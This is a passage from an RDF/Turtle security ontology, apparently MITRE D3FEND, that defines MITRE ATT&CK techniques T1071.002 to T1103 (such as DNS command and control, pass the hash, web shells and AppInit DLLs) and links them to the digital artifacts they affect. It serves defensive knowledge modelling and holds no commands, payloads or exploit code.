    d3f:definition "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server." ;
    d3f:produces d3f:OutboundInternetFileTransferTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetFileTransferTraffic ],
        d3f:T1071 .

d3f:T1071.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mail Protocols" ;
    d3f:attack-id "T1071.003" ;
    d3f:definition "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server." ;
    d3f:produces d3f:OutboundInternetMailTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetMailTraffic ],
        d3f:T1071 .

d3f:T1071.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS" ;
    d3f:attack-id "T1071.004" ;
    d3f:definition "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server." ;
    d3f:produces d3f:OutboundInternetDNSLookupTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetDNSLookupTraffic ],
        d3f:T1071 .

d3f:T1071.005 a owl:Class ;
    rdfs:label "Publish/Subscribe Protocols" ;
    d3f:attack-id "T1071.005" ;
    d3f:definition "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server." ;
    rdfs:subClassOf d3f:T1071 .

d3f:T1073 a owl:Class ;
    rdfs:label "DLL Side-Loading" ;
    d3f:attack-id "T1073" ;
    d3f:definition "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)" ;
    rdfs:comment "This technique has been revoked by T1574.002" ;
    rdfs:seeAlso d3f:T1574.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1074.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Data Staging" ;
    d3f:attack-id "T1074.001" ;
    d3f:definition "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location." ;
    d3f:may-create d3f:File ;
    d3f:may-invoke d3f:CreateFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateFile ],
        d3f:T1074 .

d3f:T1074.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Data Staging" ;
    d3f:attack-id "T1074.002" ;
    d3f:definition "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location." ;
    d3f:modifies d3f:NetworkResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:NetworkResource ],
        d3f:T1074 .

d3f:T1075 a owl:Class ;
    rdfs:label "Pass the Hash" ;
    d3f:attack-id "T1075" ;
    d3f:definition "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems." ;
    rdfs:comment "This technique has been revoked by T1550.002" ;
    rdfs:seeAlso d3f:T1550.002 ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1076 a owl:Class ;
    rdfs:label "Remote Desktop Protocol" ;
    d3f:attack-id "T1076" ;
    d3f:definition "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS." ;
    rdfs:comment "This technique has been revoked by T1021.001" ;
    rdfs:seeAlso d3f:T1021.001 ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1077 a owl:Class ;
    rdfs:label "Windows Admin Shares" ;
    d3f:attack-id "T1077" ;
    d3f:definition "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>." ;
    rdfs:comment "This technique has been revoked by T1021.002" ;
    rdfs:seeAlso d3f:T1021.002 ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1078.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Default Accounts" ;
    d3f:attack-id "T1078.001" ;
    d3f:definition "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)" ;
    d3f:uses d3f:DefaultUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:DefaultUserAccount ],
        d3f:T1078 .

d3f:T1078.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Accounts" ;
    d3f:attack-id "T1078.002" ;
    d3f:definition "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)" ;
    d3f:uses d3f:DomainUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:DomainUserAccount ],
        d3f:T1078 .

d3f:T1078.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Accounts" ;
    d3f:attack-id "T1078.003" ;
    d3f:definition "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service." ;
    d3f:uses d3f:LocalUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        d3f:T1078 .

d3f:T1078.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Accounts" ;
    d3f:attack-id "T1078.004" ;
    d3f:definition "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)" ;
    d3f:uses d3f:CloudUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:CloudUserAccount ],
        d3f:T1078 .

d3f:T1079 a owl:Class ;
    rdfs:label "Multilayer Encryption" ;
    d3f:attack-id "T1079" ;
    d3f:definition "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS." ;
    rdfs:comment "This technique has been revoked by T1573" ;
    rdfs:seeAlso d3f:T1573 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1080 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Taint Shared Content" ;
    d3f:attack-id "T1080" ;
    d3f:definition "Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally." ;
    d3f:modifies d3f:NetworkResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:NetworkResource ],
        d3f:LateralMovementTechnique .

d3f:T1081 a owl:Class ;
    rdfs:label "Credentials in Files" ;
    d3f:attack-id "T1081" ;
    d3f:definition "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords." ;
    rdfs:comment "This technique has been revoked by T1552.001" ;
    rdfs:seeAlso d3f:T1552.001 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1082 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Information Discovery" ;
    d3f:attack-id "T1082" ;
    d3f:definition "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    d3f:may-access d3f:DecoyArtifact ;
    d3f:may-invoke d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:DecoyArtifact ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:DiscoveryTechnique .

d3f:T1083 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File and Directory Discovery" ;
    d3f:accesses d3f:Directory,
        d3f:File ;
    d3f:attack-id "T1083" ;
    d3f:definition "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Directory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        d3f:DiscoveryTechnique .

d3f:T1084 a owl:Class ;
    rdfs:label "Windows Management Instrumentation Event Subscription" ;
    d3f:attack-id "T1084" ;
    d3f:definition "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)" ;
    rdfs:comment "This technique has been revoked by T1546.003" ;
    rdfs:seeAlso d3f:T1546.003 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1085 a owl:Class ;
    rdfs:label "Rundll32" ;
    d3f:attack-id "T1085" ;
    d3f:definition "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations." ;
    rdfs:comment "This technique has been revoked by T1218.011" ;
    rdfs:seeAlso d3f:T1218.011 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1086 a owl:Class ;
    rdfs:label "PowerShell" ;
    d3f:attack-id "T1086" ;
    d3f:definition "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer." ;
    rdfs:comment "This technique has been revoked by T1059.001" ;
    rdfs:seeAlso d3f:T1059.001 ;
    rdfs:subClassOf d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1087.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Account" ;
    d3f:attack-id "T1087.001" ;
    d3f:definition "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior." ;
    d3f:enumerates d3f:LocalUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enumerates ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        d3f:T1087 .

d3f:T1087.003 a owl:Class ;
    rdfs:label "Email Account" ;
    d3f:attack-id "T1087.003" ;
    d3f:definition "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)" ;
    rdfs:subClassOf d3f:T1087 .

d3f:T1087.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Account" ;
    d3f:attack-id "T1087.004" ;
    d3f:definition "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application." ;
    d3f:enumerates d3f:CloudUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enumerates ;
            owl:someValuesFrom d3f:CloudUserAccount ],
        d3f:T1087 .

d3f:T1088 a owl:Class ;
    rdfs:label "Bypass User Account Control" ;
    d3f:attack-id "T1088" ;
    d3f:definition "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)" ;
    rdfs:comment "This technique has been revoked by T1548.002" ;
    rdfs:seeAlso d3f:T1548.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1089 a owl:Class ;
    rdfs:label "Disabling Security Tools" ;
    d3f:attack-id "T1089" ;
    d3f:definition "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting." ;
    rdfs:comment "This technique has been revoked by T1562.001" ;
    rdfs:seeAlso d3f:T1562.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1090.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Internal Proxy" ;
    d3f:attack-id "T1090.001" ;
    d3f:definition "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment." ;
    d3f:produces d3f:IntranetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetNetworkTraffic ],
        d3f:T1090 .

d3f:T1090.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "External Proxy" ;
    d3f:attack-id "T1090.002" ;
    d3f:definition "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:T1090 .

d3f:T1091 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Replication Through Removable Media" ;
    d3f:attack-id "T1091" ;
    d3f:definition "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself." ;
    d3f:executes d3f:RemovableMediaDevice ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:RemovableMediaDevice ],
        d3f:InitialAccessTechnique,
        d3f:LateralMovementTechnique .

d3f:T1092 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Communication Through Removable Media" ;
    d3f:attack-id "T1092" ;
    d3f:definition "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access." ;
    d3f:modifies d3f:RemovableMediaDevice ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:RemovableMediaDevice ],
        d3f:CommandAndControlTechnique .

d3f:T1093 a owl:Class ;
    rdfs:label "Process Hollowing" ;
    d3f:attack-id "T1093" ;
    d3f:definition "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)" ;
    rdfs:comment "This technique has been revoked by T1055.012" ;
    rdfs:seeAlso d3f:T1055.012 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1094 a owl:Class ;
    rdfs:label "Custom Command and Control Protocol" ;
    d3f:attack-id "T1094" ;
    d3f:definition "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack." ;
    rdfs:comment "This technique has been revoked by T1095" ;
    rdfs:seeAlso d3f:T1095 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1096 a owl:Class ;
    rdfs:label "NTFS File Attributes" ;
    d3f:attack-id "T1096" ;
    d3f:definition "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)" ;
    rdfs:comment "This technique has been revoked by T1564.004" ;
    rdfs:seeAlso d3f:T1564.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1097 a owl:Class ;
    rdfs:label "Pass the Ticket" ;
    d3f:attack-id "T1097" ;
    d3f:definition "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system." ;
    rdfs:comment "This technique has been revoked by T1550.003" ;
    rdfs:seeAlso d3f:T1550.003 ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1098.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Additional Cloud Credentials" ;
    d3f:attack-id "T1098.001" ;
    d3f:creates d3f:Credential ;
    d3f:definition "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment." ;
    d3f:produces d3f:IntranetAdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:Credential ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        d3f:T1098 .

d3f:T1098.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Additional Email Delegate Permissions" ;
    d3f:attack-id "T1098.002" ;
    d3f:definition "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account." ;
    d3f:modifies d3f:DomainUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:DomainUserAccount ],
        d3f:T1098 .

d3f:T1098.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Additional Cloud Roles" ;
    d3f:attack-id "T1098.003" ;
    d3f:definition "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)" ;
    d3f:modifies d3f:GlobalUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:GlobalUserAccount ],
        d3f:T1098 .

d3f:T1098.004 a owl:Class ;
    rdfs:label "SSH Authorized Keys" ;
    d3f:attack-id "T1098.004" ;
    d3f:definition "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>." ;
    rdfs:subClassOf d3f:T1098 .

d3f:T1098.005 a owl:Class ;
    rdfs:label "Device Registration" ;
    d3f:attack-id "T1098.005" ;
    d3f:definition "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance." ;
    rdfs:subClassOf d3f:T1098 .

d3f:T1098.006 a owl:Class ;
    rdfs:label "Additional Container Cluster Roles" ;
    d3f:attack-id "T1098.006" ;
    d3f:definition "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)" ;
    rdfs:subClassOf d3f:T1098 .

d3f:T1098.007 a owl:Class ;
    rdfs:label "Additional Local or Domain Groups" ;
    d3f:attack-id "T1098.007" ;
    d3f:definition "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain." ;
    rdfs:subClassOf d3f:T1098 .

d3f:T1099 a owl:Class ;
    rdfs:label "Timestomp" ;
    d3f:attack-id "T1099" ;
    d3f:definition "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)" ;
    rdfs:comment "This technique has been revoked by T1070.006" ;
    rdfs:seeAlso d3f:T1070.006 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1100 a owl:Class ;
    rdfs:label "Web Shell" ;
    d3f:attack-id "T1100" ;
    d3f:definition "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)" ;
    rdfs:comment "This technique has been revoked by T1505.003" ;
    rdfs:seeAlso d3f:T1505.003 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1101 a owl:Class ;
    rdfs:label "Security Support Provider" ;
    d3f:attack-id "T1101" ;
    d3f:definition "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called." ;
    rdfs:comment "This technique has been revoked by T1547.005" ;
    rdfs:seeAlso d3f:T1547.005 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1102.001 a owl:Class ;
    rdfs:label "Dead Drop Resolver" ;
    d3f:attack-id "T1102.001" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers." ;
    rdfs:subClassOf d3f:T1102 .

d3f:T1102.002 a owl:Class ;
    rdfs:label "Bidirectional Communication" ;
    d3f:attack-id "T1102.002" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet." ;
    rdfs:subClassOf d3f:T1102 .

d3f:T1102.003 a owl:Class ;
    rdfs:label "One-Way Communication" ;
    d3f:attack-id "T1102.003" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response." ;
    rdfs:subClassOf d3f:T1102 .

d3f:T1103 a owl:Class ;
    rdfs:label "AppInit DLLs" ;
    d3f:attack-id "T1103" ;
    d3f:definition "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)" ;
    rdfs:comment "This technique has been revoked by T1546.010" ;
    rdfs:seeAlso d3f:T1546.010 ;
